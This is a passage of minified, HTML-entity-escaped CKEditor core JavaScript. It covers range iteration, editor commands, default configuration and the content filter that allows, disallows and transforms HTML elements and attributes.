d.startNode.equals(c),k=c.getPosition(d.endNode)&amp;CKEDITOR.POSITION_PRECEDING+CKEDITOR.POSITION_IS_CONTAINED||d.endNode.equals(c),h&amp;&amp;k&amp;&amp;f.push(c);return f}};CKEDITOR.dom.range.mergeRanges=function(a){return CKEDITOR.tools.array.reduce(a,function(a,b){var c=a[a.length-1],d=!1;b=b.clone();b.enlarge(CKEDITOR.ENLARGE_ELEMENT);if(c){var e=new CKEDITOR.dom.range(b.root),d=new CKEDITOR.dom.walker(e),f=CKEDITOR.dom.walker.whitespaces();e.setStart(c.endContainer,c.endOffset);e.setEnd(b.startContainer,b.startOffset);
for(e=d.next();f(e)||b.endContainer.equals(e);)e=d.next();d=!e}d?c.setEnd(b.endContainer,b.endOffset):a.push(b);return a},[])}})();CKEDITOR.POSITION_AFTER_START=1;CKEDITOR.POSITION_BEFORE_END=2;CKEDITOR.POSITION_BEFORE_START=3;CKEDITOR.POSITION_AFTER_END=4;CKEDITOR.ENLARGE_ELEMENT=1;CKEDITOR.ENLARGE_BLOCK_CONTENTS=2;CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3;CKEDITOR.ENLARGE_INLINE=4;CKEDITOR.START=1;CKEDITOR.END=2;CKEDITOR.SHRINK_ELEMENT=1;CKEDITOR.SHRINK_TEXT=2;&quot;use strict&quot;;
(function(){function a(a){1&gt;arguments.length||(this.range=a,this.forceBrBreak=0,this.enlargeBr=1,this.enforceRealBlocks=0,this._||(this._={}))}function d(a){var b=[];a.forEach(function(a){if(&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function b(a,c,f,g){a:{null==g&amp;&amp;(g=d(f));for(var h;h=g.shift();)if(h.getDtd().p){g={element:h,remaining:g};break a}g=null}if(!g)return 0;if((h=CKEDITOR.filter.instances[g.element.data(&quot;cke-filter&quot;)])&amp;&amp;!h.check(c))return b(a,
c,f,g.remaining);c=new CKEDITOR.dom.range(g.element);c.selectNodeContents(g.element);c=c.createIterator();c.enlargeBr=a.enlargeBr;c.enforceRealBlocks=a.enforceRealBlocks;c.activeFilter=c.filter=h;a._.nestedEditable={element:g.element,container:f,remaining:g.remaining,iterator:c};return 1}function c(a,b,c){if(!b)return!1;a=a.clone();a.collapse(!c);return a.checkBoundaryOfElement(b,c?CKEDITOR.START:CKEDITOR.END)}var f=/^[\r\n\t ]+$/,g=CKEDITOR.dom.walker.bookmark(!1,!0),k=CKEDITOR.dom.walker.whitespaces(!0),
h=function(a){return g(a)&amp;&amp;k(a)},p={dd:1,dt:1,li:1};a.prototype={getNextParagraph:function(a){var d,k,w,z,F;a=a||&quot;p&quot;;if(this._.nestedEditable){if(d=this._.nestedEditable.iterator.getNextParagraph(a))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,d;this.activeFilter=this.filter;if(b(this,a,this._.nestedEditable.container,this._.nestedEditable.remaining))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,this._.nestedEditable.iterator.getNextParagraph(a);this._.nestedEditable=
null}if(!this.range.root.getDtd()[a])return null;if(!this._.started){var v=this.range.clone();k=v.startPath();var m=v.endPath(),M=!v.collapsed&amp;&amp;c(v,k.block),u=!v.collapsed&amp;&amp;c(v,m.block,1);v.shrink(CKEDITOR.SHRINK_ELEMENT,!0);M&amp;&amp;v.setStartAt(k.block,CKEDITOR.POSITION_BEFORE_END);u&amp;&amp;v.setEndAt(m.block,CKEDITOR.POSITION_AFTER_START);k=v.endContainer.hasAscendant(&quot;pre&quot;,!0)||v.startContainer.hasAscendant(&quot;pre&quot;,!0);v.enlarge(this.forceBrBreak&amp;&amp;!k||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:CKEDITOR.ENLARGE_BLOCK_CONTENTS);
v.collapsed||(k=new CKEDITOR.dom.walker(v.clone()),m=CKEDITOR.dom.walker.bookmark(!0,!0),k.evaluator=m,this._.nextNode=k.next(),k=new CKEDITOR.dom.walker(v.clone()),k.evaluator=m,k=k.previous(),this._.lastNode=k.getNextSourceNode(!0,null,v.root),this._.lastNode&amp;&amp;this._.lastNode.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.trim(this._.lastNode.getText())&amp;&amp;this._.lastNode.getParent().isBlockBoundary()&amp;&amp;(m=this.range.clone(),m.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END),m.checkEndOfBlock()&amp;&amp;
(m=new CKEDITOR.dom.elementPath(m.endContainer,m.root),this._.lastNode=(m.block||m.blockLimit).getNextSourceNode(!0))),this._.lastNode&amp;&amp;v.root.contains(this._.lastNode)||(this._.lastNode=this._.docEndMarker=v.document.createText(&quot;&quot;),this._.lastNode.insertAfter(k)),v=null);this._.started=1;k=v}m=this._.nextNode;v=this._.lastNode;for(this._.nextNode=null;m;){var M=0,u=m.hasAscendant(&quot;pre&quot;),H=m.type!=CKEDITOR.NODE_ELEMENT,n=0;if(H)m.type==CKEDITOR.NODE_TEXT&amp;&amp;f.test(m.getText())&amp;&amp;(H=0);else{var r=m.getName();
if(CKEDITOR.dtd.$block[r]&amp;&amp;&quot;false&quot;==m.getAttribute(&quot;contenteditable&quot;)){d=m;b(this,a,d);break}else if(m.isBlockBoundary(this.forceBrBreak&amp;&amp;!u&amp;&amp;{br:1})){if(&quot;br&quot;==r)H=1;else if(!k&amp;&amp;!m.getChildCount()&amp;&amp;&quot;hr&quot;!=r){d=m;w=m.equals(v);break}k&amp;&amp;(k.setEndAt(m,CKEDITOR.POSITION_BEFORE_START),&quot;br&quot;!=r&amp;&amp;(this._.nextNode=m));M=1}else{if(m.getFirst()){k||(k=this.range.clone(),k.setStartAt(m,CKEDITOR.POSITION_BEFORE_START));m=m.getFirst();continue}H=1}}H&amp;&amp;!k&amp;&amp;(k=this.range.clone(),k.setStartAt(m,CKEDITOR.POSITION_BEFORE_START));
w=(!M||H)&amp;&amp;m.equals(v);if(k&amp;&amp;!M)for(;!m.getNext(h)&amp;&amp;!w;){r=m.getParent();if(r.isBlockBoundary(this.forceBrBreak&amp;&amp;!u&amp;&amp;{br:1})){M=1;H=0;w||r.equals(v);k.setEndAt(r,CKEDITOR.POSITION_BEFORE_END);break}m=r;H=1;w=m.equals(v);n=1}H&amp;&amp;k.setEndAt(m,CKEDITOR.POSITION_AFTER_END);m=this._getNextSourceNode(m,n,v);if((w=!m)||M&amp;&amp;k)break}if(!d){if(!k)return this._.docEndMarker&amp;&amp;this._.docEndMarker.remove(),this._.nextNode=null;d=new CKEDITOR.dom.elementPath(k.startContainer,k.root);m=d.blockLimit;M={div:1,th:1,td:1};
d=d.block;!d&amp;&amp;m&amp;&amp;!this.enforceRealBlocks&amp;&amp;M[m.getName()]&amp;&amp;k.checkStartOfBlock()&amp;&amp;k.checkEndOfBlock()&amp;&amp;!m.equals(k.root)?d=m:!d||this.enforceRealBlocks&amp;&amp;d.is(p)?(d=this.range.document.createElement(a),k.extractContents().appendTo(d),d.trim(),k.insertNode(d),z=F=!0):&quot;li&quot;!=d.getName()?k.checkStartOfBlock()&amp;&amp;k.checkEndOfBlock()||(d=d.clone(!1),k.extractContents().appendTo(d),d.trim(),F=k.splitBlock(),z=!F.wasStartOfBlock,F=!F.wasEndOfBlock,k.insertNode(d)):w||(this._.nextNode=d.equals(v)?null:this._getNextSourceNode(k.getBoundaryNodes().endNode,
1,v))}z&amp;&amp;(z=d.getPrevious())&amp;&amp;z.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;br&quot;==z.getName()?z.remove():z.getLast()&amp;&amp;&quot;br&quot;==z.getLast().$.nodeName.toLowerCase()&amp;&amp;z.getLast().remove());F&amp;&amp;(z=d.getLast())&amp;&amp;z.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==z.getName()&amp;&amp;(!CKEDITOR.env.needsBrFiller||z.getPrevious(g)||z.getNext(g))&amp;&amp;z.remove();this._.nextNode||(this._.nextNode=w||d.equals(v)||!v?null:this._getNextSourceNode(d,1,v));return d},_getNextSourceNode:function(a,b,c){function d(a){return!(a.equals(c)||a.equals(f))}var f=
this.range.root;for(a=a.getNextSourceNode(b,null,d);!g(a);)a=a.getNextSourceNode(b,null,d);return a}};CKEDITOR.dom.range.prototype.createIterator=function(){return new a(this)}})();
CKEDITOR.command=function(a,d){this.uiItems=[];this.exec=function(b){if(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())return!1;this.editorFocus&amp;&amp;a.focus();return!1===this.fire(&quot;exec&quot;)?!0:!1!==d.exec.call(this,a,b)};this.refresh=function(a,b){if(!this.readOnly&amp;&amp;a.readOnly)return!0;if(this.context&amp;&amp;!b.isContextFor(this.context)||!this.checkAllowed(!0))return this.disable(),!0;this.startDisabled||this.enable();this.modes&amp;&amp;!this.modes[a.mode]&amp;&amp;this.disable();return!1===this.fire(&quot;refresh&quot;,
{editor:a,path:b})?!0:d.refresh&amp;&amp;!1!==d.refresh.apply(this,arguments)};var b;this.checkAllowed=function(c){return c||&quot;boolean&quot;!=typeof b?b=a.activeFilter.checkFeature(this):b};CKEDITOR.tools.extend(this,d,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!d.context,state:CKEDITOR.TRISTATE_DISABLED});CKEDITOR.event.call(this)};
CKEDITOR.command.prototype={enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.checkAllowed()&amp;&amp;this.setState(this.preserveState&amp;&amp;&quot;undefined&quot;!=typeof this.previousState?this.previousState:CKEDITOR.TRISTATE_OFF)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(a){if(this.state==a||a!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;!this.checkAllowed())return!1;this.previousState=this.state;this.state=a;this.fire(&quot;state&quot;);return!0},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?
this.setState(CKEDITOR.TRISTATE_ON):this.state==CKEDITOR.TRISTATE_ON&amp;&amp;this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.event.implementOn(CKEDITOR.command.prototype);CKEDITOR.ENTER_P=1;CKEDITOR.ENTER_BR=2;CKEDITOR.ENTER_DIV=3;
CKEDITOR.config={customConfig:&quot;config.js&quot;,autoUpdateElement:!0,language:&quot;&quot;,defaultLanguage:&quot;en&quot;,contentsLangDirection:&quot;&quot;,enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:&quot;\x3c!DOCTYPE html\x3e&quot;,bodyId:&quot;&quot;,bodyClass:&quot;&quot;,fullPage:!1,height:200,contentsCss:CKEDITOR.getUrl(&quot;contents.css&quot;),extraPlugins:&quot;&quot;,removePlugins:&quot;&quot;,protectedSource:[],tabIndex:0,width:&quot;&quot;,baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]};
(function(){function a(a,b,c,d,e){var f,n;a=[];for(f in b){n=b[f];n=&quot;boolean&quot;==typeof n?{}:&quot;function&quot;==typeof n?{match:n}:E(n);&quot;$&quot;!=f.charAt(0)&amp;&amp;(n.elements=f);c&amp;&amp;(n.featureName=c.toLowerCase());var l=n;l.elements=k(l.elements,/\s+/)||null;l.propertiesOnly=l.propertiesOnly||!0===l.elements;var m=/\s*,\s*/,g=void 0;for(g in P){l[g]=k(l[g],m)||null;var r=l,t=O[g],y=k(l[O[g]],m),B=l[g],h=[],A=!0,C=void 0;y?A=!1:y={};for(C in B)&quot;!&quot;==C.charAt(0)&amp;&amp;(C=C.slice(1),h.push(C),y[C]=!0,A=!1);for(;C=h.pop();)B[C]=
B[&quot;!&quot;+C],delete B[&quot;!&quot;+C];r[t]=(A?!1:y)||null}l.match=l.match||null;d.push(n);a.push(n)}b=e.elements;e=e.generic;var I;c=0;for(d=a.length;c&lt;d;++c){f=E(a[c]);n=!0===f.classes||!0===f.styles||!0===f.attributes;l=f;g=t=m=void 0;for(m in P)l[m]=M(l[m]);r=!0;for(g in O){m=O[g];t=l[m];y=[];B=void 0;for(B in t)-1&lt;B.indexOf(&quot;*&quot;)?y.push(new RegExp(&quot;^&quot;+B.replace(/\*/g,&quot;.*&quot;)+&quot;$&quot;)):y.push(B);t=y;t.length&amp;&amp;(l[m]=t,r=!1)}l.nothingRequired=r;l.noProperties=!(l.attributes||l.classes||l.styles);if(!0===f.elements||
null===f.elements)e[n?&quot;unshift&quot;:&quot;push&quot;](f);else for(I in l=f.elements,delete f.elements,l)if(b[I])b[I][n?&quot;unshift&quot;:&quot;push&quot;](f);else b[I]=[f]}}function d(a,c,d,e){if(!a.match||a.match(c))if(e||h(a,c))if(a.propertiesOnly||(d.valid=!0),d.allAttributes||(d.allAttributes=b(a.attributes,c.attributes,d.validAttributes)),d.allStyles||(d.allStyles=b(a.styles,c.styles,d.validStyles)),!d.allClasses){a=a.classes;c=c.classes;e=d.validClasses;if(a)if(!0===a)a=!0;else{for(var f=0,n=c.length,l;f&lt;n;++f)l=c[f],e[l]||
(e[l]=a(l));a=!1}else a=!1;d.allClasses=a}}function b(a,b,c){if(!a)return!1;if(!0===a)return!0;for(var d in b)c[d]||(c[d]=a(d));return!1}function c(a,b,c){if(!a.match||a.match(b)){if(a.noProperties)return!1;c.hadInvalidAttribute=f(a.attributes,b.attributes)||c.hadInvalidAttribute;c.hadInvalidStyle=f(a.styles,b.styles)||c.hadInvalidStyle;a=a.classes;b=b.classes;if(a){for(var d=!1,e=!0===a,l=b.length;l--;)if(e||a(b[l]))b.splice(l,1),d=!0;a=d}else a=!1;c.hadInvalidClass=a||c.hadInvalidClass}}function f(a,
b){if(!a)return!1;var c=!1,d=!0===a,e;for(e in b)if(d||a(e))delete b[e],c=!0;return c}function g(a,b,c){if(a.disabled||a.customConfig&amp;&amp;!c||!b)return!1;a._.cachedChecks={};return!0}function k(a,b){if(!a)return!1;if(!0===a)return a;if(&quot;string&quot;==typeof a)return a=y(a),&quot;*&quot;==a?!0:CKEDITOR.tools.convertArrayToObject(a.split(b));if(CKEDITOR.tools.isArray(a))return a.length?CKEDITOR.tools.convertArrayToObject(a):!1;var c={},d=0,e;for(e in a)c[e]=a[e],d++;return d?c:!1}function h(a,b){if(a.nothingRequired)return!0;
var c,d,e,f;if(e=a.requiredClasses)for(f=b.classes,c=0;c&lt;e.length;++c)if(d=e[c],&quot;string&quot;==typeof d){if(-1==CKEDITOR.tools.indexOf(f,d))return!1}else if(!CKEDITOR.tools.checkIfAnyArrayItemMatches(f,d))return!1;return p(b.styles,a.requiredStyles)&amp;&amp;p(b.attributes,a.requiredAttributes)}function p(a,b){if(!b)return!0;for(var c=0,d;c&lt;b.length;++c)if(d=b[c],&quot;string&quot;==typeof d){if(!(d in a))return!1}else if(!CKEDITOR.tools.checkIfAnyObjectPropertyMatches(a,d))return!1;return!0}function q(a){if(!a)return{};
a=a.split(/\s*,\s*/).sort();for(var b={};a.length;)b[a.shift()]=&quot;cke-test&quot;;return b}function e(a){var b,c,d,e,f={},n=1;for(a=y(a);b=a.match(l);)(c=b[2])?(d=x(c,&quot;styles&quot;),e=x(c,&quot;attrs&quot;),c=x(c,&quot;classes&quot;)):d=e=c=null,f[&quot;$&quot;+n++]={elements:b[1],classes:c,styles:d,attributes:e},a=a.slice(b[0].length);return f}function x(a,b){var c=a.match(K[b]);return c?y(c[1]):null}function w(a){var b=a.styleBackup=a.attributes.style,c=a.classBackup=a.attributes[&quot;class&quot;];a.styles||(a.styles=CKEDITOR.tools.parseCssText(b||
&quot;&quot;,1));a.classes||(a.classes=c?c.split(/\s+/):[])}function z(a,b,e,f){var l=0,n;f.toHtml&amp;&amp;(b.name=b.name.replace(B,&quot;$1&quot;));if(f.doCallbacks&amp;&amp;a.elementCallbacks){a:{n=a.elementCallbacks;for(var g=0,t=n.length,E;g&lt;t;++g)if(E=n[g](b)){n=E;break a}n=void 0}if(n)return n}if(f.doTransform&amp;&amp;(n=a._.transformations[b.name])){w(b);for(g=0;g&lt;n.length;++g)r(a,b,n[g]);v(b)}if(f.doFilter){a:{g=b.name;t=a._;a=t.allowedRules.elements[g];n=t.allowedRules.generic;g=t.disallowedRules.elements[g];t=t.disallowedRules.generic;
E=f.skipRequired;var y={valid:!1,validAttributes:{},validClasses:{},validStyles:{},allAttributes:!1,allClasses:!1,allStyles:!1,hadInvalidAttribute:!1,hadInvalidClass:!1,hadInvalidStyle:!1},k,C;if(a||n){w(b);if(g)for(k=0,C=g.length;k&lt;C;++k)if(!1===c(g[k],b,y)){a=null;break a}if(t)for(k=0,C=t.length;k&lt;C;++k)c(t[k],b,y);if(a)for(k=0,C=a.length;k&lt;C;++k)d(a[k],b,y,E);if(n)for(k=0,C=n.length;k&lt;C;++k)d(n[k],b,y,E);a=y}else a=null}if(!a||!a.valid)return e.push(b),1;C=a.validAttributes;var h=a.validStyles;
n=a.validClasses;var g=b.attributes,I=b.styles,t=b.classes;E=b.classBackup;var L=b.styleBackup,K,D,O=[],y=[],J=/^data-cke-/;k=!1;delete g.style;delete g[&quot;class&quot;];delete b.classBackup;delete b.styleBackup;if(!a.allAttributes)for(K in g)C[K]||(J.test(K)?K==(D=K.replace(/^data-cke-saved-/,&quot;&quot;))||C[D]||(delete g[K],k=!0):(delete g[K],k=!0));if(!a.allStyles||a.hadInvalidStyle){for(K in I)a.allStyles||h[K]?O.push(K+&quot;:&quot;+I[K]):k=!0;O.length&amp;&amp;(g.style=O.sort().join(&quot;; &quot;))}else L&amp;&amp;(g.style=L);if(!a.allClasses||
a.hadInvalidClass){for(K=0;K&lt;t.length;++K)(a.allClasses||n[t[K]])&amp;&amp;y.push(t[K]);y.length&amp;&amp;(g[&quot;class&quot;]=y.sort().join(&quot; &quot;));E&amp;&amp;y.length&lt;E.split(/\s+/).length&amp;&amp;(k=!0)}else E&amp;&amp;(g[&quot;class&quot;]=E);k&amp;&amp;(l=1);if(!f.skipFinalValidation&amp;&amp;!m(b))return e.push(b),1}f.toHtml&amp;&amp;(b.name=b.name.replace(A,&quot;cke:$1&quot;));return l}function F(a){var b=[],c;for(c in a)-1&lt;c.indexOf(&quot;*&quot;)&amp;&amp;b.push(c.replace(/\*/g,&quot;.*&quot;));return b.length?new RegExp(&quot;^(?:&quot;+b.join(&quot;|&quot;)+&quot;)$&quot;):null}function v(a){var b=a.attributes,c;delete b.style;delete b[&quot;class&quot;];
if(c=CKEDITOR.tools.writeCssText(a.styles,!0))b.style=c;a.classes.length&amp;&amp;(b[&quot;class&quot;]=a.classes.sort().join(&quot; &quot;))}function m(a){switch(a.name){case &quot;a&quot;:if(!(a.children.length||a.attributes.name||a.attributes.id))return!1;break;case &quot;img&quot;:if(!a.attributes.src)return!1}return!0}function M(a){if(!a)return!1;if(!0===a)return!0;var b=F(a);return function(c){return c in a||b&amp;&amp;c.match(b)}}function u(){return new CKEDITOR.htmlParser.element(&quot;br&quot;)}function H(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;br&quot;==
a.name||t.$block[a.name])}function n(a,b,c){var d=a.name;if(t.$empty[d]||!a.children.length)&quot;hr&quot;==d&amp;&amp;&quot;br&quot;==b?a.replaceWith(u()):(a.parent&amp;&amp;c.push({check:&quot;it&quot;,el:a.parent}),a.remove());else if(t.$block[d]||&quot;tr&quot;==d)if(&quot;br&quot;==b)a.previous&amp;&amp;!H(a.previous)&amp;&amp;(b=u(),b.insertBefore(a)),a.next&amp;&amp;!H(a.next)&amp;&amp;(b=u(),b.insertAfter(a)),a.replaceWithChildren();else{var d=a.children,e;b:{e=t[b];for(var f=0,n=d.length,l;f&lt;n;++f)if(l=d[f],l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!e[l.name]){e=!1;break b}e=!0}if(e)a.name=b,a.attributes=
{},c.push({check:&quot;parent-down&quot;,el:a});else{e=a.parent;for(var f=e.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||&quot;body&quot;==e.name,g,m,n=d.length;0&lt;n;)l=d[--n],f&amp;&amp;(l.type==CKEDITOR.NODE_TEXT||l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;t.$inline[l.name])?(g||(g=new CKEDITOR.htmlParser.element(b),g.insertAfter(a),c.push({check:&quot;parent-down&quot;,el:g})),g.add(l,0)):(g=null,m=t[e.name]||t.span,l.insertAfter(a),e.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||l.type!=CKEDITOR.NODE_ELEMENT||m[l.name]||c.push({check:&quot;el-up&quot;,el:l}));a.remove()}}else d in
{style:1,script:1}?a.remove():(a.parent&amp;&amp;c.push({check:&quot;it&quot;,el:a.parent}),a.replaceWithChildren())}function r(a,b,c){var d,e;for(d=0;d&lt;c.length;++d)if(e=c[d],!(e.check&amp;&amp;!a.check(e.check,!1)||e.left&amp;&amp;!e.left(b))){e.right(b,J);break}}function C(a,b){var c=b.getDefinition(),d=c.attributes,e=c.styles,f,n,l,g;if(a.name!=c.element)return!1;for(f in d)if(&quot;class&quot;==f)for(c=d[f].split(/\s+/),l=a.classes.join(&quot;|&quot;);g=c.pop();){if(-1==l.indexOf(g))return!1}else if(a.attributes[f]!=d[f])return!1;for(n in e)if(a.styles[n]!=
e[n])return!1;return!0}function L(a,b){var c,d;&quot;string&quot;==typeof a?c=a:a instanceof CKEDITOR.style?d=a:(c=a[0],d=a[1]);return[{element:c,left:d,right:function(a,c){c.transform(a,b)}}]}function D(a){return function(b){return C(b,a)}}function N(a){return function(b,c){c[a](b)}}var t=CKEDITOR.dtd,E=CKEDITOR.tools.copy,y=CKEDITOR.tools.trim,I=[&quot;&quot;,&quot;p&quot;,&quot;br&quot;,&quot;div&quot;];CKEDITOR.FILTER_SKIP_TREE=2;CKEDITOR.filter=function(a,b){this.allowedContent=[];this.disallowedContent=[];this.elementCallbacks=null;this.disabled=
!1;this.editor=null;this.id=CKEDITOR.tools.getNextNumber();this._={allowedRules:{elements:{},generic:[]},disallowedRules:{elements:{},generic:[]},transformations:{},cachedTests:{},cachedChecks:{}};CKEDITOR.filter.instances[this.id]=this;var c=this.editor=a instanceof CKEDITOR.editor?a:null;if(c&amp;&amp;!b){this.customConfig=!0;var d=c.config.allowedContent;!0===d?this.disabled=!0:(d||(this.customConfig=!1),this.allow(d,&quot;config&quot;,1),this.allow(c.config.extraAllowedContent,&quot;extra&quot;,1),this.allow(I[c.enterMode]+
&quot; &quot;+I[c.shiftEnterMode],&quot;default&quot;,1),this.disallow(c.config.disallowedContent))}else this.customConfig=!1,this.allow(b||a,&quot;default&quot;,1)};CKEDITOR.filter.instances={};CKEDITOR.filter.prototype={allow:function(b,c,d){if(!g(this,b,d))return!1;var f,n;if(&quot;string&quot;==typeof b)b=e(b);else if(b instanceof CKEDITOR.style){if(b.toAllowedContentRules)return this.allow(b.toAllowedContentRules(this.editor),c,d);f=b.getDefinition();b={};d=f.attributes;b[f.element]=f={styles:f.styles,requiredStyles:f.styles&amp;&amp;CKEDITOR.tools.objectKeys(f.styles)};
d&amp;&amp;(d=E(d),f.classes=d[&quot;class&quot;]?d[&quot;class&quot;].split(/\s+/):null,f.requiredClasses=f.classes,delete d[&quot;class&quot;],f.attributes=d,f.requiredAttributes=d&amp;&amp;CKEDITOR.tools.objectKeys(d))}else if(CKEDITOR.tools.isArray(b)){for(f=0;f&lt;b.length;++f)n=this.allow(b[f],c,d);return n}a(this,b,c,this.allowedContent,this._.allowedRules);return!0},applyTo:function(a,b,c,d){if(this.disabled)return!1;var e=this,f=[],l=this.editor&amp;&amp;this.editor.config.protectedSource,g,r=!1,E={doFilter:!c,doTransform:!0,doCallbacks:!0,toHtml:b};
a.forEach(function(a){if(a.type==CKEDITOR.NODE_ELEMENT){if(&quot;off&quot;==a.attributes[&quot;data-cke-filter&quot;])return!1;if(!b||&quot;span&quot;!=a.name||!~CKEDITOR.tools.objectKeys(a.attributes).join(&quot;|&quot;).indexOf(&quot;data-cke-&quot;))if(g=z(e,a,f,E),g&amp;1)r=!0;else if(g&amp;2)return!1}else if(a.type==CKEDITOR.NODE_COMMENT&amp;&amp;a.value.match(/^\{cke_protected\}(?!\{C\})/)){var c;a:{var d=decodeURIComponent(a.value.replace(/^\{cke_protected\}/,&quot;&quot;));c=[];var n,G,m;if(l)for(G=0;G&lt;l.length;++G)if((m=d.match(l[G]))&amp;&amp;m[0].length==d.length){c=!0;
break a}d=CKEDITOR.htmlParser.fragment.fromHtml(d);1==d.children.length&amp;&amp;(n=d.children[0]).type==CKEDITOR.NODE_ELEMENT&amp;&amp;z(e,n,c,E);c=!c.length}c||f.push(a)}},null,!0);f.length&amp;&amp;(r=!0);var y;a=[];d=I[d||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)];for(var k;c=f.pop();)c.type==CKEDITOR.NODE_ELEMENT?n(c,d,a):c.remove();for(;y=a.pop();)if(c=y.el,c.parent)switch(k=t[c.parent.name]||t.span,y.check){case &quot;it&quot;:t.$removeEmpty[c.name]&amp;&amp;!c.children.length?n(c,d,a):m(c)||n(c,d,a);break;case &quot;el-up&quot;:c.parent.type==
CKEDITOR.NODE_DOCUMENT_FRAGMENT||k[c.name]||n(c,d,a);break;case &quot;parent-down&quot;:c.parent.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||k[c.name]||n(c.parent,d,a)}return r},checkFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&amp;&amp;(a=a.toFeature(this.editor));return!a.requiredContent||this.check(a.requiredContent)},disable:function(){this.disabled=!0},disallow:function(b){if(!g(this,b,!0))return!1;&quot;string&quot;==typeof b&amp;&amp;(b=e(b));a(this,b,null,this.disallowedContent,this._.disallowedRules);return!0},
addContentForms:function(a){if(!this.disabled&amp;&amp;a){var b,c,d=[],e;for(b=0;b&lt;a.length&amp;&amp;!e;++b)c=a[b],(&quot;string&quot;==typeof c||c instanceof CKEDITOR.style)&amp;&amp;this.check(c)&amp;&amp;(e=c);if(e){for(b=0;b&lt;a.length;++b)d.push(L(a[b],e));this.addTransformations(d)}}},addElementCallback:function(a){this.elementCallbacks||(this.elementCallbacks=[]);this.elementCallbacks.push(a)},addFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&amp;&amp;(a=a.toFeature(this.editor));this.allow(a.allowedContent,a.name);this.addTransformations(a.contentTransformations);
this.addContentForms(a.contentForms);return a.requiredContent&amp;&amp;(this.customConfig||this.disallowedContent.length)?this.check(a.requiredContent):!0},addTransformations:function(a){var b,c;if(!this.disabled&amp;&amp;a){var d=this._.transformations,e;for(e=0;e&lt;a.length;++e){b=a[e];var f=void 0,n=void 0,l=void 0,g=void 0,m=void 0,t=void 0;c=[];for(n=0;n&lt;b.length;++n)l=b[n],&quot;string&quot;==typeof l?(l=l.split(/\s*:\s*/),g=l[0],m=null,t=l[1]):(g=l.check,m=l.left,t=l.right),f||(f=l,f=f.element?f.element:g?g.match(/^([a-z0-9]+)/i)[0]:
f.left.getDefinition().element),m instanceof CKEDITOR.style&amp;&amp;(m=D(m)),c.push({check:g==f?null:g,left:m,right:&quot;string&quot;==typeof t?N(t):t});b=f;d[b]||(d[b]=[]);d[b].push(c)}}},check:function(a,b,c){if(this.disabled)return!0;if(CKEDITOR.tools.isArray(a)){for(var d=a.length;d--;)if(this.check(a[d],b,c))return!0;return!1}var f,n;if(&quot;string&quot;==typeof a){n=a+&quot;\x3c&quot;+(!1===b?&quot;0&quot;:&quot;1&quot;)+(c?&quot;1&quot;:&quot;0&quot;)+&quot;\x3e&quot;;if(n in this._.cachedChecks)return this._.cachedChecks[n];f=e(a).$1;var l=f.styles,d=f.classes;f.name=f.elements;
f.classes=d=d?d.split(/\s*,\s*/):[];f.styles=q(l);f.attributes=q(f.attributes);f.children=[];d.length&amp;&amp;(f.attributes[&quot;class&quot;]=d.join(&quot; &quot;));l&amp;&amp;(f.attributes.style=CKEDITOR.tools.writeCssText(f.styles))}else f=a.getDefinition(),l=f.styles,d=f.attributes||{},l&amp;&amp;!CKEDITOR.tools.isEmpty(l)?(l=E(l),d.style=CKEDITOR.tools.writeCssText(l,!0)):l={},f={name:f.element,attributes:d,classes:d[&quot;class&quot;]?d[&quot;class&quot;].split(/\s+/):[],styles:l,children:[]};var l=CKEDITOR.tools.clone(f),g=[],m;if(!1!==b&amp;&amp;(m=this._.transformations[f.name])){for(d=
0;d&lt;m.length;++d)r(this,f,m[d]);v(f)}z(this,l,g,{doFilter:!0,doTransform:!1!==b,skipRequired:!c,skipFinalValidation:!c});0&lt;g.length?c=!1:((b=f.attributes[&quot;class&quot;])&amp;&amp;(f.attributes[&quot;class&quot;]=f.attributes[&quot;class&quot;].split(&quot; &quot;).sort().join(&quot; &quot;)),c=CKEDITOR.tools.objectCompare(f.attributes,l.attributes,!0),b&amp;&amp;(f.attributes[&quot;class&quot;]=b));&quot;string&quot;==typeof a&amp;&amp;(this._.cachedChecks[n]=c);return c},getAllowedEnterMode:function(){var a=[&quot;p&quot;,&quot;div&quot;,&quot;br&quot;],b={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};
return function(c,d){var f=a.slice(),e;if(this.check(I[c]))return c;for(d||(f=f.reverse());e=f.pop();)if(this.check(e))return b[e];return CKEDITOR.ENTER_BR}}(),clone:function(){var a=new CKEDITOR.filter,b=CKEDITOR.tools.clone;a.allowedContent=b(this.allowedContent);a._.allowedRules=b(this._.allowedRules);a.disallowedContent=b(this.disallowedContent);a._.disallowedRules=b(this._.disallowedRules);a._.transformations=b(this._.transformations);a.disabled=this.disabled;a.editor=this.editor;return a},destroy:function(){delete CKEDITOR.filter.instances[this.id];
